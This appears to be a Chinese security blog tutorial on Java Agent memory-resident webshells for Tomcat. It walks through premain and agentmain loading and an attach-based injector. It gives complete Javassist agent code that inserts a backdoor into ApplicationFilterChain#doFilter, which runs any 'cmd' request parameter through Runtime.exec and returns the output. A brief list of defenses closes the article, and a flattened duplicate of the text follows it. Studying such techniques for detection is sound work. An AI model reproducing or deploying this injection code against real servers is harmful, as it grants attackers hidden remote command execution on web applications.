初识Java Agent 内存马
字数 1209 2025-08-20 18:18:10

Java Agent 内存马技术详解

一、前置原理

内存马类型

内存马主要分为4种类型:

  1. Filter型
  2. Servlet型
  3. Listener型
  4. Agent型

Java Agent加载方式

Java Agent支持两种加载方式:

  1. premain方法:在JVM启动时进行加载
  2. agentmain方法:在JVM启动后进行加载

Java Agent允许构建独立于应用程序的代理程序,可用于监测、运行甚至替换其他JVM上的程序。

关键技术组件

1. VirtualMachine

  • 通过此接口可以访问其他JVM实例
  • 主要功能:
    • 访问全局VM属性
    • 控制VM执行
    • 查找其他运行的JVM
  • 文档参考:VirtualMachine - Java 11中文版

2. Instrumentation

3. Javassist

二、preMain方式(JVM启动前加载)

实现步骤

  1. 编写Agent类
public class MyPremain {
    public static void premain(String agentArgs, Instrumentation inst) {
        System.out.println("MyPremain");
    }
}
  1. 构建JAR包
  • 必须修改MANIFEST.MF文件:
    • main-class改为premain-class
  1. 启动时加载
java -javaagent:agent.jar -jar target.jar

执行效果

  • 恶意JAR会在目标程序启动前执行

三、agentMain方式(JVM启动后加载)

实现步骤

  1. 编写Agent类
public class myAgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) {
        System.out.println("agentmain");
    }
}
  1. 构建JAR包
  • 修改MANIFEST.MF文件:
Manifest-Version: 1.0
Agent-Class: com.agentmain_test.myAgentMain
  1. 编写注入器
public static void main(String[] args) throws IOException, AttachNotSupportedException {
    List<VirtualMachineDescriptor> list = VirtualMachine.list();
    for (VirtualMachineDescriptor vmDesc : list) {
        if(vmDesc.displayName().equals("com.agent.Main")){
            VirtualMachine attach = VirtualMachine.attach(vmDesc);
            try {
                attach.loadAgent("agent.jar路径");
            } catch (AgentLoadException | AgentInitializationException e) {
                throw new RuntimeException(e);
            }
        }
    }
}
  1. 依赖配置
  • 需要添加tools.jar依赖

执行效果

  • 可以在目标JVM运行时注入恶意代码

四、内存马实现

中间件注入可行性

  • 测试表明可以在Tomcat等中间件中成功注入

关键实现步骤

  1. 获取可修改类
Class[] classes = inst.getAllLoadedClasses();
  1. 寻找合适的注入点
  • 必须满足两个条件:
    • 该方法一定会被执行
    • 不会影响正常的业务逻辑
  1. 推荐注入点
  • ApplicationFilterChain#doFilter
  • HttpServlet#service
  • 这些方法封装了用户请求的request和response

完整Agent实现

public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
    Class[] classes = inst.getAllLoadedClasses();
    for (Class aClass : classes) {
        if (aClass.getName().equals("目标类名")) {
            // 创建类池
            ClassPool classPool = ClassPool.getDefault();
            ClassClassPath classPath = new ClassClassPath(aClass);
            classPool.insertClassPath(classPath);
            
            CtClass ctClass = classPool.get(aClass.getName());
            CtMethod service = ctClass.getDeclaredMethod("service");
            
            // 插入恶意代码
            service.insertBefore("恶意代码");
            
            ctClass.detach();
            byte[] bytecode = ctClass.toBytecode();
            inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(aClass,bytecode)});
            System.out.println("注入成功");
        }
    }
}

具体攻击示例(注入ApplicationFilterChain)

public class myAgentMain {
    public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get("org.apache.catalina.core.ApplicationFilterChain");
        CtMethod service = ctClass.getDeclaredMethod("doFilter");
        
        String toInsert = "javax.servlet.http.HttpServletRequest req = request;\n" +
            "javax.servlet.http.HttpServletResponse res = response;\n" +
            "java.lang.String cmd = request.getParameter(\"cmd\");\n" +
            "if (cmd != null){\n" +
            " try {\n" +
            "   java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" +
            "   java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" +
            "   String line;\n" +
            "   StringBuilder sb = new StringBuilder(\"\");\n" +
            "   while ((line=reader.readLine()) != null){\n" +
            "     sb.append(line).append(\"\\n\");\n" +
            "   }\n" +
            "   response.getOutputStream().print(sb.toString());\n" +
            "   response.getOutputStream().flush();\n" +
            "   response.getOutputStream().close();\n" +
            " } catch (Exception e){\n" +
            "   e.printStackTrace();\n" +
            " }\n" +
            "}";
            
        service.insertBefore(toInsert);
        byte[] bytecode = ctClass.toBytecode();
        inst.redefineClasses(new ClassDefinition(ctClass.toClass(), bytecode));
        System.out.println("注入成功");
    }
}

五、防御措施

  1. JVM参数防护

    • 限制JVM附加能力
    • 使用安全管理器
  2. 代码审计

    • 检查可疑的JAR文件
    • 监控Instrumentation API的使用
  3. 运行时防护

    • 使用RASP解决方案
    • 监控类加载行为
  4. 网络防护

    • 限制内部网络访问
    • 实施严格的网络隔离

六、总结

Java Agent内存马是一种高级攻击技术,具有以下特点:

  • 无文件落地
  • 难以通过传统安全设备检测
  • 可在运行时动态注入
  • 对中间件具有普遍适用性

防御此类攻击需要从开发、部署到运行时的全方位防护策略。

Java Agent 内存马技术详解 一、前置原理 内存马类型 内存马主要分为4种类型: Filter型 Servlet型 Listener型 Agent型 Java Agent加载方式 Java Agent支持两种加载方式: premain 方法:在JVM启动时进行加载 agentmain 方法:在JVM启动后进行加载 Java Agent允许构建独立于应用程序的代理程序,可用于监测、运行甚至替换其他JVM上的程序。 关键技术组件 1. VirtualMachine 通过此接口可以访问其他JVM实例 主要功能: 访问全局VM属性 控制VM执行 查找其他运行的JVM 文档参考: VirtualMachine - Java 11中文版 2. Instrumentation 用于构建代理程序 主要功能: 监测和协助JVM上运行的程序 替换和修改类定义 文档参考: Instrumentation - Java 11 API中文版 3. Javassist Java字节码操作工具 相关资源: Javassist入门指南 Javassist中文技术文档 javassist使用全解析 二、preMain方式(JVM启动前加载) 实现步骤 编写Agent类 : 构建JAR包 : 必须修改MANIFEST.MF文件: 将 main-class 改为 premain-class 启动时加载 : 执行效果 恶意JAR会在目标程序启动前执行 三、agentMain方式(JVM启动后加载) 实现步骤 编写Agent类 : 构建JAR包 : 修改MANIFEST.MF文件: 编写注入器 : 依赖配置 : 需要添加 tools.jar 依赖 执行效果 可以在目标JVM运行时注入恶意代码 四、内存马实现 中间件注入可行性 测试表明可以在Tomcat等中间件中成功注入 关键实现步骤 获取可修改类 : 寻找合适的注入点 : 必须满足两个条件: 该方法一定会被执行 不会影响正常的业务逻辑 推荐注入点 : ApplicationFilterChain#doFilter HttpServlet#service 这些方法封装了用户请求的request和response 完整Agent实现 具体攻击示例(注入ApplicationFilterChain) 五、防御措施 JVM参数防护 : 限制JVM附加能力 使用安全管理器 代码审计 : 检查可疑的JAR文件 监控Instrumentation API的使用 运行时防护 : 使用RASP解决方案 监控类加载行为 网络防护 : 限制内部网络访问 实施严格的网络隔离 六、总结 Java Agent内存马是一种高级攻击技术,具有以下特点: 无文件落地 难以通过传统安全设备检测 可在运行时动态注入 对中间件具有普遍适用性 防御此类攻击需要从开发、部署到运行时的全方位防护策略。